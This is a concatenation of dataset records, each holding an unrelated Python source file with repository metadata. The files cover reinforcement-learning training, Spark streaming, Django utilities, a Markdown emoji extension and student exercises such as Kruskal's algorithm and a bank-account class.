'do_restarts', 'restart_sessions_limit', 'num_restarts',\n # 'analytical_mu_and_sigma2_optimization', 'end_analytical_mu_and_sigma2_optimization',\n # 'status']:\n # model_dict[k] = self.__getattribute__(k)\n #\n # model_dict['model'] = self.model.to_dict()\n #\n # return model_dict\n\n # ---------------------------------------------------------------------------\n def set_model_from_dict(self, d):\n raise NotImplementedError\n # for k in ['param', 'init', 'gtol', 'bfgs_factor', 'do_restarts', 'restart_sessions_limit', 'num_restarts',\n # 'analytical_mu_and_sigma2_optimization', 'end_analytical_mu_and_sigma2_optimization',\n # 'status']:\n # self.__setattr__(k, d[k])\n #\n # self.model = GPy.models.GPRegression.from_dict(d['model'])\n #\n # self.kernel_function = self.model.kern\n # self.mean_function = self.model.mean_function\n # self._input_values = self.model.X\n # self._output_values = self.model.Y\n # self.set_loo_posterior_metrics()\n\n # ---------------------------------------------------------------------------\n @staticmethod\n def default_args():\n return {'init': \"classic\",\n 'stopping_criterion': \"strict\",\n 'do_profiling': True,\n 'do_restarts': True,\n 'do_end_profiling': True,\n 'n_multistarts': 2,\n 'n_iterations': 3}\n\n # ---------------------------------------------------------------------------\n @staticmethod\n def default_setup():\n return CustomGPy(**CustomGPy.default_args())\n","repo_name":"saferGPMLE/saferGPMLE","sub_path":"safergpy/code/bench/gpy_wrapper/gpy/libs/models/CustomGPy.py","file_name":"CustomGPy.py","file_ext":"py","file_size_in_byte":21007,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"61"} +{"seq_id":"28824927996","text":"\"\"\"\nThis Python file defines functions for running an experiment using the Proximal Policy Optimization (PPO) algorithm.\n\nFunctions:\n- `run_experiment(params_dict)`: Runs the experiment with the provided parameters.\n- `ppo_learning(params_dict, config, wb_logger)`: Executes PPO training and returns checkpoint paths.\n\nParameters:\n- `params_dict`: A dictionary containing experiment parameters.\n- `config`: Configuration settings for the PPO algorithm.\n- `wb_logger`: Custom logger for experiment logging.\n\n\"\"\"\n\nimport json\nimport random \nimport tensorflow as tf \n\nimport ray\nfrom utils.logger_utils import CustomLoggerCallback \nimport numpy as np\nfrom utils.env_creator_functions import *\nfrom utils.ray_config_utils import get_config_and_env, get_neg_config\n\ndef run_experiment(params_dict) : \n # Setting random number generator \n seed = params_dict['seed'] \n np.random.seed(seed) \n random.seed(seed) \n tf.random.set_seed(seed) \n\n # Get config for subgame learning\n config, _ = get_config_and_env(params_dict) \n # Setup logger for stage 1 \n wb_logger = CustomLoggerCallback(params_dict)\n \n if params_dict['second_stage_only']:\n checkpoint_paths = params_dict['second_stage_only']\n else :\n checkpoint_paths = ppo_learning(params_dict,config,wb_logger)\n \n # Store these paths somewhere, useful for loading somewhere else \n with open(params_dict['store_path'], 'w') as fp:\n json.dump({\"first_stage_paths\": checkpoint_paths}, fp)\n\n neg_config = None \n stage_2_weights = None\n if not params_dict['first_stage_only'] and params_dict['negotiate'] : \n # Update the logger for the new stage\n wb_logger.set_stage(2) \n # Get the config for training the negotiation game \n neg_config = get_neg_config(params_dict,config,checkpoint_paths)\n # Train with the new config \n stage_2_weights = ppo_learning(params_dict,neg_config,wb_logger) \n\n return {'config_subgame': config,\n 'config_negotiation':neg_config, \n 'exp_name': params_dict['exp_name'],\n 'weight_directories': checkpoint_paths,\n 'negotiation_weights': stage_2_weights,\n 'logger': wb_logger}\n\n\ndef ppo_learning(params_dict,config,wb_logger) : \n stop_condition = config['stop_cond'] \n del config['stop_cond']\n \n analysis = ray.tune.tune.run('PPO',name=params_dict['exp_name'],stop=stop_condition,\n config=config,callbacks=[wb_logger],local_dir=params_dict['results_dir'],\n num_samples=1, verbose=0 ,checkpoint_freq=10, checkpoint_at_end=True)\n \n checkpoint_paths = []\n for trial in analysis.trials:\n checkpoint_paths.append(analysis.get_last_checkpoint(trial=trial)._local_path)\n return checkpoint_paths \n","repo_name":"Algorithmic-Alignment-Lab/contracts","sub_path":"run_training.py","file_name":"run_training.py","file_ext":"py","file_size_in_byte":2790,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"61"} +{"seq_id":"16766930300","text":"def find_set(x):\n while x!=rep[x]:\n x = rep[x]\n return x\n\ndef union(x, y):\n rep[find_set(y)] = find_set(x)\n\n\nv, e = map(int, input().split())\nedge = []\nfor _ in range(e):\n u, v, w = map(int, input().split())\n edge.append([u,v,w])\nedge.sort(key=lambda x:x[2])\nrep = [i for i in range(v+1)] # 대표원소 배열\n\nn = v+1 # 실제정점의 수\ncnt = 0\ntotal = 0\nfor u, v, w in edge:\n if find_set(u)!= find_set(v):\n cnt += 1\n union(u,v)\n if cnt == n-1:\n break\nprint(total)","repo_name":"yooooonzzzzzang/Algorithm","sub_path":"12_그래프/온라인/kruskal.py","file_name":"kruskal.py","file_ext":"py","file_size_in_byte":536,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"42205770653","text":"from pyspark.sql import SparkSession\nimport pyspark.sql.functions as F\nfrom pyspark.sql.types import StructType, StructField, StringType, IntegerType\n\nif __name__ == \"__main__\":\n spark = SparkSession.builder.appName(\"Streaming DataFrame\")\\\n .master(\"local[2]\")\\\n .getOrCreate()\n\n # Schema 정의\n # StructType은 전체 구조\n # StructField 는 컬럼\n schema = StructType([\n StructField(\"ip\", StringType(), False), # 이름, 타임, null 허용\n StructField(\"timestamp\", StringType(), False),\n StructField(\"method\", StringType(), False),\n StructField(\"endpoint\", StringType(), False),\n StructField(\"status_code\", StringType(), False),\n StructField(\"latency\", IntegerType(), False),\n ])\n\n def hello_streaming():\n df = spark.readStream.format(\"socket\")\\\n .option(\"host\", \"localhost\")\\\n .option(\"port\",12345)\\\n .load()\n\n df.writeStream.format(\"console\").outputMode(\"append\")\\\n .trigger(processingTime = \"2 seconds\")\\\n .start().awaitTermination()\n # hello_streaming()\n\n def read_from_socket():\n line = spark.readStream.format(\"socket\")\\\n .option(\"host\", \"localhost\")\\\n .option(\"port\",12345)\\\n .load()\n cols = [\"ip\", \"timestamp\", \"method\", \"endpoint\", \"status_code\", \"latency\"]\n df = line.withColumn(\"ip\", F.split(line['value'],\",\").getItem(0))\\\n .withColumn(\"timestamp\", F.split(line['value'],\",\").getItem(1))\\\n .withColumn(\"method\", F.split(line['value'],\",\").getItem(2))\\\n .withColumn(\"endpoint\", F.split(line['value'],\",\").getItem(3))\\\n .withColumn(\"status_code\", F.split(line['value'],\",\").getItem(4))\\\n .withColumn(\"latency\", F.split(line['value'],\",\").getItem(5))\\\n .select(cols)\n \n # filter : status_code가 400이고, endpoint가 /users인 row만 필터링\n # df.filter((df.status_code == \"400\") & (df.endpoint == \"/users\"))\n df = df.filter((F.col('status_code') == \"400\") & (F.col('endpoint') == \"/events\"))\n\n # group by : method, endpoint 별 latency의 최댓값, 최솟값, 평균값\n # 주의 할 점\n # append mode에서는 watermark를 지정하지 않으면 DataFrame의 Aggregation을 지원하지 않는다.\n # 왜? 집계는 과거와 현재 데이터를 이용해서 처리하는 과정이기 때문에..\n # 하지만 append는 새롭게 추가되는 데이터에 대한 처리를 의미.\n # 만약 집계와 append를 허용한다면 spark는 미래의 무한 스트림의 전체 상태를 알고 있어야 한다는 말이 된다.\n df = df.groupby([\"method\",\"endpoint\"])\\\n .agg(\n F.max(F.col(\"latency\")).alias(\"max_latency\"),\n F.min(F.col(\"latency\")).alias(\"max_latency\"),\n F.mean(F.col(\"latency\")).alias(\"max_latency\"),\n )\n\n # df.writeStream.format(\"console\").outputMode(\"append\")\\\n df.writeStream.format(\"console\").outputMode(\"complete\")\\\n .start().awaitTermination()\n # read_from_socket()\n\n # read_from_socket()\n def read_from_files():\n # filepath : directory만 가능\n logs_df = spark.readStream.format(\"csv\")\\\n .option(\"header\", \"false\")\\\n .schema(schema)\\\n .load(\"data/logs\")\n logs_df.writeStream.format(\"console\")\\\n .outputMode(\"append\")\\\n .start().awaitTermination()\n\n read_from_files()","repo_name":"ijhan21/ict_spark","sub_path":"spark-streaming/04_streaming_dataframe.py","file_name":"04_streaming_dataframe.py","file_ext":"py","file_size_in_byte":3556,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"30373474913","text":"class Bank_account:\n all_accounts=[]\n def __init__(self,init_deposit=0,int_rate=0.5,fee_rate=5):\n self.balance=0\n self.int_rate=int_rate/100\n self.fee_rate=fee_rate\n self.deposit(init_deposit)\n Bank_account.all_accounts.append(self)\n\n def deposit(self,amount):\n self.balance+=amount\n return self\n\n def withdraw(self,amount):\n if Bank_account.can_withdraw(self.balance,amount):\n self.balance-=amount\n else:\n print (f\"Insufficient funds: Charging a ${self.fee_rate} fee\")\n self.balance-=self.fee_rate\n return self\n\n def display_account_info(self):\n print(f\"Balance : ${self.balance}\")\n print(f\"Interest Rate : {self.int_rate*100}%\")\n print(f\"Fee Rate : ${self.fee_rate}/overdraft\")\n print()\n return self\n\n def yield_interest(self):\n self.balance=round(self.balance*(1+self.int_rate))\n return self\n\n @staticmethod\n def can_withdraw(balance,amount):\n return balance>=amount\n\n @classmethod\n def display_all(cls):\n for account in cls.all_accounts:\n account.display_account_info()\n\na=Bank_account(2000)\nb=Bank_account(500000,1.2,20)\n\na.deposit(100).deposit(1000).deposit(9999).withdraw(10000).yield_interest().display_account_info()\nb.deposit(99).deposit(102).withdraw(9999).withdraw(10000).withdraw(4000).withdraw(11230).yield_interest().display_account_info()\nBank_account.display_all()\n","repo_name":"SeraphDev6/python_bank_account","sub_path":"bank_account.py","file_name":"bank_account.py","file_ext":"py","file_size_in_byte":1489,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"17223460898","text":"import pyndi\nimport numpy as np\nimport sounddevice as sd\nfrom tkinter import *\nfrom tkinter import ttk\n\n# Define the NDI sources to receive\nndi_names = ['NDI Source 1', 'NDI Source 2', 'NDI Source 3']\n\n# Initialize NDI receivers\nfinder = pyndi.Finder()\nsources = finder.get_sources()\nndi_sources = [next((source for source in sources if source.name == name), None) for name in ndi_names]\nreceivers = [pyndi.Receiver() for _ in ndi_sources]\nfor receiver, ndi_source in zip(receivers, ndi_sources):\n receiver.create_receiver(ndi_source)\n\n# Initialize Sounddevice output stream\nsamplerate = receivers[0].audio_sample_rate\nblocksize = 1024\nchannels = receivers[0].audio_channels\noutput_stream = sd.OutputStream(\n samplerate=samplerate,\n blocksize=blocksize,\n channels=channels,\n dtype='float32'\n)\n\n# Start the output stream\noutput_stream.start()\n\n# Initialize NDI sender\nsender = pyndi.Sender()\n\n# Create a new NDI audio source\nndi_name = 'Mixed NDI Audio'\nndi_source = pyndi.AudioSource(name=ndi_name)\nsender.create_source(ndi_source)\n\ndef change_ndi_name():\n global ndi_name, ndi_source\n new_name = ndi_name_input.get()\n if new_name and new_name != ndi_name:\n ndi_name = new_name\n ndi_source = pyndi.AudioSource(name=ndi_name)\n sender.create_source(ndi_source)\n\n# Initialize dropdown menu to select NDI sources\ndef update_sources():\n global sources, ndi_sources, receivers\n sources = finder.get_sources()\n ndi_sources = [source for source in sources if source.type == 'audio']\n ndi_names = [source.name for source in ndi_sources]\n receivers = [pyndi.Receiver() for _ in ndi_sources]\n for receiver, ndi_source in zip(receivers, ndi_sources):\n receiver.create_receiver(ndi_source)\n source_menu['menu'].delete(0, 'end')\n for name in ndi_names:\n source_menu['menu'].add_command(label=name, command=lambda ndi_name=name: select_source(ndi_name))\n selected.set(ndi_names[0])\n select_source(ndi_names[0])\n\ndef select_source(name):\n global selected_receiver\n ndi_source = next((source for source in ndi_sources if source.name == name), None)\n selected_receiver = next((receiver for receiver in receivers if receiver.source == ndi_source), None)\n\n# Define the volume/fader adjustments for each NDI source\nvolumes = [0.5, 0.7, 0.9]\n\n# Define the UI\nroot = Tk()\nroot.title('NDI Audio Mixer')\n\nframe1 = Frame(root)\nframe1.pack(side=TOP)\n\nsource_label = Label(frame1, text='Select NDI source:')\nsource_label.pack(side=LEFT)\n\nselected = StringVar()\nsource_menu = OptionMenu(frame1, selected, 'Loading...')\nsource_menu.pack(side=LEFT)\n\nupdate_sources()\n\nframe2 = Frame(root)\nframe2.pack(side=TOP)\n\nvolume_sliders = []\nfor i, ndi_name in enumerate(ndi_names):\n volume_label = Label(frame2, text='Volume for {}:'.format(ndi_name))\n volume_label.grid(row=i, column=0, padx=5, pady=5)\n volume_slider = Scale(frame2, from_=0, to=1, resolution=0.01, orient=HORIZONTAL)\n volume_slider.set(volumes[i])\n volume_slider.grid(row=i, column=1, padx=5, pady=5)\n volume_sliders.append(volume_slider)\n\nframe3 = Frame(root)\nframe3.pack(side=TOP)\n\nndi_name_label = Label(frame3, text='NDI Output Stream Name:')\nndi_name_label.pack(side=LEFT)\n\nndi_name_input = Entry(frame3)\nndi_name_input.pack(side=LEFT)\n\nchange_name_button = Button(frame3, text='Change Name', command=change_ndi_name)\nchange_name_button.pack(side=LEFT)\n\n# Define the function to mix the audio data from selected NDI sources\ndef mix_audio(indata, outdata, frames, time, status):\n global selected_receiver, volumes\n if selected_receiver is None:\n outdata.fill(0)\n else:\n mixed_audio = np.zeros_like(outdata)\n for receiver, volume, volume_slider in zip(receivers, volumes, volume_sliders):\n audio_data = receiver.receive_audio(blocksize)\n while len(audio_data) < len(indata):\n audio_data = np.concatenate((audio_data, receiver.receive_audio(blocksize)))\n audio_data = audio_data[:len(indata)]\n mixed_audio += audio_data * volume_slider.get()\n outdata[:] = mixed_audio\n\n# Start the audio stream\nwith sd.Stream(blocksize=blocksize, callback=mix_audio):\n root.mainloop()\n\n# Stop the output stream\noutput_stream.stop()\n","repo_name":"yakimoto/vMix","sub_path":"NDI/NDI Audio Mixer.py","file_name":"NDI Audio Mixer.py","file_ext":"py","file_size_in_byte":4261,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23460274441","text":"import itertools\n\ndef multiset(D):\n # print(D)\n L = [0] * (1 + max(D))\n for n in D:\n L[n] += 1\n return tuple(L)\n\nmemo = {}\ndef t(L):\n if L in memo:\n return memo[L]\n \n index_max, value_max = L[-1], len(L)-1\n if value_max <= 1:\n return value_max\n res = min(\n itertools.chain(\n (value_max,),\n (1 + t(splitted(L, n)) for n in range(1, value_max))\n )\n )\n memo[L] = res\n return res\n \ndef splitted(L, n):\n index_max, value_max = L[-1], len(L)-1\n \n L2 = list(L)\n L2[-1] -= 1\n \n new_value = value_max - n\n L2[new_value] += 1\n L2[n] += 1\n \n while L2[-1] == 0:\n del L2[-1]\n \n return tuple(L2)\n\ndef parse(inputfilename):\n it = iter(open(inputfilename))\n N = int(next(it))\n for i in range(N):\n G = int(next(it))\n print(\"Case #{}: {}\".format(i+1, t(multiset(tuple(map(int, next(it).split()))))))\n \nparse(\"B-small-attempt0.in\")","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_156/815.py","file_name":"815.py","file_ext":"py","file_size_in_byte":985,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"13338067940","text":"from src.model.models import Equipment, AnalogMeasurement, DiscreteMeasurement, EquipmentType\nfrom time import time\nimport os\n\n\nclass DataUtil:\n\n @staticmethod\n def _extract_substation_and_code(value):\n if value and '.' in value:\n values = value.split('.')\n return (values[0], values[1])\n return (None, None)\n\n @staticmethod\n def _build_equipment(values):\n path = values[1]\n substation, code = DataUtil._extract_substation_and_code(path)\n equipment = Equipment(substation=substation, code=code)\n return equipment\n\n @staticmethod\n def _build_measurement(values):\n type = values[0]\n measurement = values[2]\n generation_time = int(time() * 1000)\n\n if EquipmentType.is_analog_equipment(type):\n equipment = AnalogMeasurement(measurement=measurement, generation_time=generation_time)\n else:\n equipment = DiscreteMeasurement(measurement=bool(measurement), generation_time=generation_time)\n return equipment\n\n @staticmethod\n def get_objects(line):\n values = line.replace('\\n', '').split(',')\n equipment = DataUtil._build_equipment(values)\n measurement = DataUtil._build_measurement(values)\n return (equipment, measurement)\n\n @staticmethod\n def is_header(line):\n return line and line.startswith('object_type')\n\n\nclass PathUtil:\n\n @staticmethod\n def get_files_from_dir(path):\n files = os.listdir(path)\n paths = [os.path.join(path, file) for file in files]\n return paths\n","repo_name":"natamelo/demo-project-asyncio","sub_path":"src/util/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":1580,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"31355109716","text":"\nimport csv\nimport re\n\nfrom django.core.management.base import BaseCommand, CommandError\nfrom sendmail.models import staffDetails\n\n\nclass Command(BaseCommand):\n help = 'Load staff data from a CSV file.'\n\n def add_arguments(self, parser):\n parser.add_argument('--csv', type = str)\n\n @staticmethod\n def row_to_dict(row, header):\n if len(row) < len(header):\n row += [''] * (len(header) - len(row))\n return dict([(header[i], row[i]) for i, head in enumerate(header) if head])\n\n def handle(self, *args, **options):\n m = re.compile(r'content:(\\w+)')\n header = None\n models = dict()\n try:\n with open(options['csv']) as csvfile:\n model_data = csv.reader(csvfile)\n for i, row in enumerate(model_data):\n if max([len(cell.strip()) for cell in row[1:] + ['']]) == 0 and m.match(row[0]):\n model_name = m.match(row[0]).groups()[0]\n models[model_name] = []\n header = None\n continue\n\n if header is None:\n header = row\n continue\n\n row_dict = self.row_to_dict(row, header)\n if set(row_dict.values()) == {''}:\n continue\n models[model_name].append(row_dict)\n\n except FileNotFoundError:\n raise CommandError('File \"{}\" does not exist'.format(options['csv']))\n\n for data_dict in models.get('staffDetails', []):\n s, created = staffDetails.objects.get_or_create(first_name = data_dict['staff_first_name'], defaults = {\n 'middle_name': data_dict['staff_middle_name'].strip(),\n 'last_name': data_dict['staff_last_name'].strip(),\n 'phone_number': data_dict['staff_mobile_number'],\n 'email': data_dict['staff_official_email'].strip(),\n 'birth_month': data_dict['staff_birth_month'],\n 'birth_day': data_dict['staff_birth_day']\n })\n\n if created:\n print('Created Staff Details \"{}\"'.format(s.first_name)) \n \n print(\"Import complete\")\n","repo_name":"ethernalarts/mitcbdayapp","sub_path":"birthday/management/commands/loadcsv.py","file_name":"loadcsv.py","file_ext":"py","file_size_in_byte":2280,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"42699490570","text":"\"\"\"\nMODULE: DELETE\n\nDeletes folders and files from earlier program runs.\n\n\"\"\"\n\nimport os\nfrom shutil import rmtree\n\n\ndef delete_old_files(folders_to_delete):\n print(\"Checking that temp files have been deleted from previous program runs\")\n for folder in folders_to_delete:\n path_of_folder = os.path.abspath(folder)\n if os.path.exists(path_of_folder):\n print(\"Deleting {}...\".format(folder))\n try:\n rmtree(path_of_folder)\n print(\"Successfully deleted the directory and all files inside\")\n except OSError:\n print(\"Deletion of the directory %s failed for some reason\" % path_of_folder)\n else:\n print(\"No folder named {} detected\".format(folder))\n","repo_name":"SimmonsRitchie/image_based_pdf_converter","sub_path":"modules/delete.py","file_name":"delete.py","file_ext":"py","file_size_in_byte":758,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"38547112482","text":"import numpy as np\n\n\ndef prime_numbers(n):\n IsPrime = [1] * (n + 1)\n IsPrime[0], IsPrime[1] = 0, 0\n p = 2\n while p * p <= n:\n if IsPrime[p]:\n for i in range(p * p, n + 1, p):\n IsPrime[i] = 0\n p += 1\n numbers = [i for i in range(n+1) if IsPrime[i] == 1]\n return numbers\n\n\ndef fibonacci(n):\n if n in (1, 2):\n return 1\n return fibonacci(n - 1) + fibonacci(n - 2)\n\n\nn, m = 10, 30\nprime = np.array([-i for i in prime_numbers(m)])\nfib = np.array([fibonacci(i) for i in range(1, n+1)])\nans = np.dot(prime, fib)\nprint(ans)","repo_name":"AAglaya/LPR-Python-2022","sub_path":"Class_work_04/numpy_9.py","file_name":"numpy_9.py","file_ext":"py","file_size_in_byte":585,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"17766343313","text":"import unittest\n\nfrom Page import basetestcase\nfrom Page import baidu\nfrom model import Model\n\n\nclass baiduPage(basetestcase.BaseTestCase, baidu.Baidu, Model.DataHelper):\n def test_001(self):\n '''验证:用户名密码都为空,点击登录返回的错误信息'''\n self.login(self.readFile(0),self.readFile(0))\n self.assertEqual('请您填写手机/邮箱/用户名',self.getErrorText())\n def test_002(self):\n '''验证:密码为空,点击登录返回的错误信息'''\n self.login(self.readFile(1), self.readFile(0))\n self.assertEqual('请您填写密码', self.getErrorText())\n def test_003(self):\n '''验证:验证码输入为空,点击登录返回的错误信息'''\n self.login(self.readFile(1), self.readFile(1))\n self.assertEqual('请您填写验证码', self.getErrorText())\n\nif __name__ == '__main__':\n unittest.main(verbosity=2)","repo_name":"erkang123/AutoTest_python","sub_path":"AutoTest/test_case/test_baidu_txt.py","file_name":"test_baidu_txt.py","file_ext":"py","file_size_in_byte":915,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"8740236677","text":"from django.urls import path\nfrom main_clothesmarket import views\n\nfrom .views import *\n\napp_name = 'main_clothesmarket'\n\nurlpatterns = [\n path('', main_page_view, name='main_page_view'),\n\n path('filter/', get_products_queryset, name='product_filtered_view'),\n path('search/', get_queryset, name='search'),\n\n path('//', views.product_detail, name='product_detail'),\n\n\n path('productsman/', product_woman_view, name='product_woman_view'),\n path('productsman/', product_detail_view, name='product_detail_view'),\n\n\n path('category_detail_view/', categoryt_detail_view, name='categoryt_detail_view'),\n\n path('kind_detail_view/', kind_detail_view, name='kind_detail_view'),\n\n path('productsman/', product_man_view, name='product_man_view'),\n path('productsman/', product_detail_view, name='product_detail_view'),\n path('productsman/', product_bags_view, name='product_bags_view'),\n path('productsman/', product_detail_view, name='product_detail_view'),\n\n\n path('contact.html', contact_page_view, name='contact_page_view'),\n path('aboutus/', about_us_view, name='about_us_view',)\n\n]\n","repo_name":"borys52/clothesmarket3","sub_path":"main_clothesmarket/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1178,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"23484632391","text":"from collections import Counter\n\ninput_file = \"A-large.in\"\n\nf = open(input_file, 'r')\n\nf.readline()\n\ndef case(n):\n\tseen = Counter()\n\t\n\tif n == 0:\n\t\treturn \"INSOMNIA\"\n\t\n\ti = 0\n\twhile len(seen.values()) < 10:\n\t\tfor d in str((i + 1) * n):\n\t\t\tseen[d] = 1\n\t\ti += 1\n\treturn (i * n)\n\t\nt = 1\nfor line in f:\n\tprint(\"Case #{}: {}\".format(t, case(int(line))))\n\tt += 1\n","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_177/3929.py","file_name":"3929.py","file_ext":"py","file_size_in_byte":357,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"73103371714","text":"# coding: utf-8\n\"\"\"\nConverts ascii smilies and similar symbols into proper UTF-8 symbols\n\nA replacement is only done if the pattern is prefixed with a whitespace (or\nstart of line) and is followed either by whitespace or the end of the line.\nOptionally a single dot, comma or ellipse can appear between the emoji-pattern\nand the end-pattern.\n\nAll utf-8 symbols (which we will subsum under emojis now) are wrapped in a\n with the class \"emoji\" for styling purposes. Strongly recommend is\nsetting specific font(s).\n\n```css\n.emoji {\n font-family: \"Twemoji\", \"Twemoji Mozilla\", \"EmojiOne\", \"EmojiOne Mozilla\",\n \"JoyPixels\", \"Apple Color Emoji\", \"Segoe UI\", \"Segoe UI Emoji\",\n \"Segoe UI Symbol\", \"Noto Color Emoji\", \"EmojiSymbols\", \"DejaVu Sans\",\n \"Symbola\";\n /* avoid the splitting of multi-char unicodes */\n white-space: nowrap;\n}\n```\n\n\"\"\"\nfrom markdown import Extension\nfrom markdown.util import AtomicString\nfrom markdown.inlinepatterns import Pattern\nimport json\nimport string\nimport xml.etree.ElementTree as etree\n\n\nclass UnicodeEmojiExtension(Extension):\n emoji = {}\n mapping = {}\n\n # removing the unicode variant modifier\n def _cleanCodeList(self, codes):\n return list(filter(lambda u: u not in ['FE0E', 'FE0F'], codes))\n\n def _joinCodeList(self, codes):\n code = ' '.join(codes)\n if code not in self.emoji and '200D' not in codes:\n return ' 200D '.join(codes)\n return code\n\n def _dataFilePath(self, name):\n import os\n return os.path.join(os.path.dirname(__file__), name)\n\n def _addAlternatives(self, data, field, code):\n if field in data:\n for f in data[field]:\n self.emoji[code].add(f)\n\n def __init__(self, *args, **kwargs):\n super(UnicodeEmojiExtension, self).__init__(*args, **kwargs)\n # load the base dataset\n with open(self._dataFilePath('emoji-test.txt'), 'r', encoding = 'utf8') as emojitest:\n for line in emojitest:\n if '; keyboard #' in line or '; fully-qualified #' in line:\n codelist = self._cleanCodeList(line.split(';')[0].strip().split(' '))\n self.emoji[self._joinCodeList(codelist)] = set()\n # import the github mapping set\n with open(self._dataFilePath('api-github-com-emojis.json'), 'r', encoding = 'utf8') as githubemoji:\n for k, v in json.loads(githubemoji.read()).items():\n text = ':' + k + ':'\n code = v.split('/')[-1].split('.', 1)[0].upper().replace('-', ' ')\n splitcode = self._cleanCodeList(code.split(' '))\n code = self._joinCodeList(splitcode)\n if code in self.emoji and all(c in string.hexdigits for c in code.replace(' ', '')):\n self.emoji[code].add(text)\n else:\n print('Unknown unicode in github set:', code, text)\n # import emojione/joypixels mapping set\n with open(self._dataFilePath('emoji.json'), 'r', encoding = 'utf8') as joypixels:\n for k, v in json.loads(joypixels.read()).items():\n if 'code_points' in v and 'fully_qualified' in v['code_points'] and v['code_points']['fully_qualified']:\n code = v['code_points']['fully_qualified']\n elif 'unicode_alternates' in v and v['unicode_alternates']:\n code = v['unicode_alternates']\n elif 'unicode' in v:\n code = v['unicode']\n else:\n code = k\n code = code.upper().replace('-', ' ')\n splitcode = self._cleanCodeList(code.upper().split(' '))\n code = self._joinCodeList(splitcode)\n if code not in self.emoji:\n self.emoji[code] = set()\n self.emoji[code].add(v['shortname'])\n self._addAlternatives(v, 'aliases', code)\n self._addAlternatives(v, 'aliases_ascii', code)\n self._addAlternatives(v, 'shortname_alternates', code)\n self._addAlternatives(v, 'ascii', code)\n # reverse key <-> values for the actual task at hand now\n for k, emolist in self.emoji.items():\n for e in emolist:\n if e in self.mapping:\n if self.mapping[e] == k:\n continue\n if len(self.mapping[e]) >= len(k):\n print('Ignore less-specific mapping for', e, 'with', self.mapping[e], 'proposed value', k)\n continue\n else:\n print('Replace more-specific mapping for', e, 'with', self.mapping[e], 'new value', k)\n self.mapping[e] = k\n else:\n self.mapping[e] = k\n # don't map digits to their emoji type by default\n if len(k) == 4 and k[0:3] == '003':\n continue\n code = ''.join(map(lambda u: chr(int(u, 16)), k.split(' ')))\n # add the code itself so that they are wrapped properly if they appear literal\n self.mapping[code] = k\n self.mapping[':ALL_UNICODE_EMOJI:'] = set()\n\n def extendMarkdown(self, md):\n import re\n # an emoji should be surrounded by \"whitespace\"\n RE = r'((?<=\\s)|(?<=^))(?P%s)(\\ufe0f|\\ufe0e|)(?=(\\.|…|,|)(\\s|$))' % '|'.join(map(re.escape, self.mapping.keys()))\n md.inlinePatterns.register(UnicodeEmojiPattern(RE, md, self), 'emoji', 10)\n\n\nclass UnicodeEmojiPattern(Pattern):\n def __init__(self, pattern, md, extension):\n super(UnicodeEmojiPattern, self).__init__(pattern, md)\n self.extension = extension\n\n def _createEmoji(self, e, title, tcode, ucode):\n e.set('class', AtomicString('emoji'))\n if title:\n e.set('title', AtomicString(title))\n e.set('data-unicode', AtomicString(tcode))\n e.text = AtomicString(ucode)\n return e\n\n def handleMatch(self, m):\n if m.group('emoji') == ':ALL_UNICODE_EMOJI:':\n ule = etree.Element('ul')\n ule.set('class', 'emojilist')\n lie = etree.SubElement(ule, 'li')\n lie.text = str(len(self.extension.emoji.items())) + ' emojis with ' + str(len(self.extension.mapping.items())) + ' mappings'\n for k, v in self.extension.emoji.items():\n code = ''.join(map(lambda u: chr(int(u, 16)), k.split(' ')))\n self._createEmoji(etree.SubElement(ule, 'li'), ' '.join(v), k, code + ' ' + code + '\\ufe0e ' + code + '\\ufe0f')\n return ule\n tcode = self.extension.mapping[m.group('emoji')]\n ucode = ''.join(map(lambda u: chr(int(u, 16)), tcode.split(' ')))\n if m.group(4):\n ucode += m.group(4)\n return self._createEmoji(etree.Element('span'), m.group('emoji'), tcode, ucode)\n\n\ndef makeExtension(*args, **kwargs):\n return UnicodeEmojiExtension(*args, **kwargs)\n","repo_name":"DonKult/python-markdown-unicodeemoji","sub_path":"unicodeemoji.py","file_name":"unicodeemoji.py","file_ext":"py","file_size_in_byte":6985,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"35679553584","text":"\"\"\"\n@author: Daniel Kulasingham\n\nHelper functions\n\"\"\"\nimport sys\nfrom math import floor, ceil\nfrom numpy import nansum, isnan, amin, amax, arctan2, sin, cos, sqrt, \\\n max as npmax, argmin, logical_and, concatenate\n\n\ndef print_progress(\n iteration, total, prefix='', suffix='', decimals=1, bar_length=100\n):\n \"\"\"\n Call in a loop to create terminal progress bar\n @params:\n iteration (Required): current iteration (Int)\n total (Required): total iterations (Int)\n prefix (Optional): prefix string (Str)\n suffix (Optional): suffix string (Str)\n decimals (Optional): +ve number of decimals in percent complete (Int)\n bar_length (Optional): character length of bar (Int)\n \"\"\"\n str_format = \"{0:.\" + str(decimals) + \"f}\"\n percents = str_format.format(100 * (iteration / float(total)))\n filled_length = int(round(bar_length * iteration / float(total)))\n bar = '█' * filled_length + '-' * (bar_length - filled_length)\n\n prtStr = 